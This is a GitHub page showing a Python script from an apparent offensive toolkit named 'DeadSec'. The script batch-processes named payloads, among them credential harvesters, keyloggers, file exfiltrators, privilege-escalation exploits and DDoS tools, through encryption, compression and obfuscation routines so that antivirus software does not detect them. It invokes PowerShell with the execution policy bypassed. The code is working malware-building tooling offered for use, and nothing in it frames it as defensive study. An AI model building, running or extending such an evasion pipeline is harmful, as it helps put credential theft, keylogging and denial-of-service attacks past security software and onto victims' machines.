Repository navigation
Expand file tree
/
Copy pathbuild_evaded_payload.py
More file actions
260 lines (224 loc) · 8.95 KB
/
Copy pathbuild_evaded_payload.py
File metadata and controls
260 lines (224 loc) · 8.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DeadSec Evaded Payload Builder
Automatically builds AV-evaded versions of all payloads
"""
import os
import sys
import subprocess
import argparse
# Set up proper encoding for Windows
if sys.platform == 'win32':
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')
from pathlib import Path
import time
def build_evaded_payloads(technique='full', output_dir='evaded_payloads', quiet=False):
"""Build evaded versions of all payloads"""
if not quiet:
print("=" * 60)
print(" DEADSEC // EVADED PAYLOAD BUILDER v2.0")
print("=" * 60)
print()
# Create output directory
os.makedirs(output_dir, exist_ok=True)
# Python payloads to evade
python_payloads = [
'python_agent.py',
'credential_harvester.py',
'keylogger.py',
'screenshot_capture.py',
'network_scanner.py',
'file_exfiltrator.py',
'privesc_checker.py',
'privesc_exploit.py',
'ddos_attack.py'
]
# PowerShell payloads to evade
ps_payloads = [
'windows_agent.ps1',
'windows_credential_harvester.ps1',
'windows_keylogger.ps1',
'windows_screenshot.ps1',
'windows_network_scanner.ps1',
'windows_file_exfiltrator.ps1',
'windows_geolocation.ps1',
'windows_privesc_checker.ps1',
'windows_privesc_exploit.ps1',
'windows_ddos.ps1'
]
success_count = 0
fail_count = 0
if not quiet:
print(f"[*] Building evaded Python payloads using '{technique}' technique...")
print("-" * 60)
for payload in python_payloads:
input_path = os.path.join('payloads', payload)
output_path = os.path.join(output_dir, f'evaded_{payload}')
if os.path.exists(input_path):
try:
if not quiet:
print(f"[*] Processing: {payload}", end=" ... ")
result = subprocess.run([
sys.executable,
'payloads/av_evasion.py',
'-i', input_path,
'-o', output_path,
'--technique', technique,
'-q'
], capture_output=True, text=True)
if result.returncode == 0:
if not quiet:
print("[PASS]")
success_count += 1
else:
if not quiet:
print("[FAIL]")
fail_count += 1
if not quiet and result.stderr:
print(f" Error: {result.stderr}")
except Exception as e:
if not quiet:
print(f"✗ Error: {e}")
fail_count += 1
else:
if not quiet:
print(f"[!] Not found: {payload}")
fail_count += 1
if not quiet:
print(f"\n[*] Building evaded PowerShell payloads...")
print("-" * 60)
for payload in ps_payloads:
input_path = os.path.join('payloads', payload)
output_path = os.path.join(output_dir, f'evaded_{payload}')
if os.path.exists(input_path):
try:
if not quiet:
print(f"[*] Processing: {payload}", end=" ... ")
result = subprocess.run([
'powershell', '-ExecutionPolicy', 'Bypass', '-Command',
f'& .\\payloads\\windows_av_evasion.ps1 -InputFile "{input_path}" -OutputFile "{output_path}" -Technique {technique.capitalize()} -Silent'
], capture_output=True, text=True)
if result.returncode == 0 and os.path.exists(output_path):
if not quiet:
print("✓")
success_count += 1
else:
if not quiet:
print("✗")
fail_count += 1
if not quiet and result.stderr:
print(f" Error: {result.stderr}")
except Exception as e:
if not quiet:
print(f"✗ Error: {e}")
fail_count += 1
else:
if not quiet:
print(f"[!] Not found: {payload}")
fail_count += 1
if not quiet:
print("\n" + "=" * 60)
print(f"[PASS] Build complete!")
print(f"[PASS] Success: {success_count} payloads")
print(f"[FAIL] Failed: {fail_count} payloads")
print(f"[PASS] Output directory: {output_dir}/")
print("=" * 60)
return success_count, fail_count
def build_single_payload(input_file, output_file, technique='full', language='auto', quiet=False):
"""Build a single evaded payload"""
if not os.path.exists(input_file):
print(f"[!] Error: Input file not found: {input_file}")
return False
# Auto-detect language
if language == 'auto':
if input_file.endswith('.py'):
language = 'python'
elif input_file.endswith('.ps1'):
language = 'powershell'
else:
print(f"[!] Error: Cannot determine language for {input_file}")
return False
if not quiet:
print(f"[*] Building evaded payload...")
print(f"[*] Input: {input_file}")
print(f"[*] Output: {output_file}")
print(f"[*] Technique: {technique}")
print(f"[*] Language: {language}\n")
try:
if language == 'python':
result = subprocess.run([
sys.executable,
'payloads/av_evasion.py',
'-i', input_file,
'-o', output_file,
'--technique', technique
] + (['-q'] if quiet else []), capture_output=True, text=True)
else: # powershell
result = subprocess.run([
'powershell', '-ExecutionPolicy', 'Bypass', '-Command',
f'& .\\payloads\\windows_av_evasion.ps1 -InputFile "{input_file}" -OutputFile "{output_file}" -Technique {technique.capitalize()}' + (' -Silent' if quiet else '')
], capture_output=True, text=True)
if result.returncode == 0:
if not quiet:
print(f"\n[✓] Success! Evaded payload saved to: {output_file}")
return True
else:
print(f"\n[!] Error building payload:")
if result.stderr:
print(result.stderr)
return False
except Exception as e:
print(f"\n[!] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='DeadSec Evaded Payload Builder',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
Build all payloads:
python build_evaded_payload.py
Build all with specific technique:
python build_evaded_payload.py --technique encrypt
Build single payload:
python build_evaded_payload.py --single -i payloads/keylogger.py -o evaded.py
Custom output directory:
python build_evaded_payload.py --output custom_dir/
Techniques:
full - All evasion layers (recommended)
encrypt - Multi-layer encryption
compress - Compression
obfuscate - String/variable obfuscation
'''
)
parser.add_argument('--technique', choices=['encrypt', 'compress', 'obfuscate', 'full'],
default='full', help='Evasion technique to apply (default: full)')
parser.add_argument('--output', default='evaded_payloads', help='Output directory (default: evaded_payloads)')
parser.add_argument('--single', action='store_true', help='Build single payload instead of all')
parser.add_argument('-i', '--input', help='Input file (for single payload mode)')
parser.add_argument('-o', '--out-file', help='Output file (for single payload mode)')
parser.add_argument('--language', choices=['python', 'powershell', 'auto'], default='auto',
help='Language (for single payload mode)')
parser.add_argument('-q', '--quiet', action='store_true', help='Suppress output messages')
args = parser.parse_args()
if args.single:
if not args.input or not args.out_file:
parser.error("--single requires -i/--input and -o/--out-file")
success = build_single_payload(
args.input,
args.out_file,
technique=args.technique,
language=args.language,
quiet=args.quiet
)
sys.exit(0 if success else 1)
else:
success, failed = build_evaded_payloads(
technique=args.technique,
output_dir=args.output,
quiet=args.quiet
)
sys.exit(0 if failed == 0 else 1)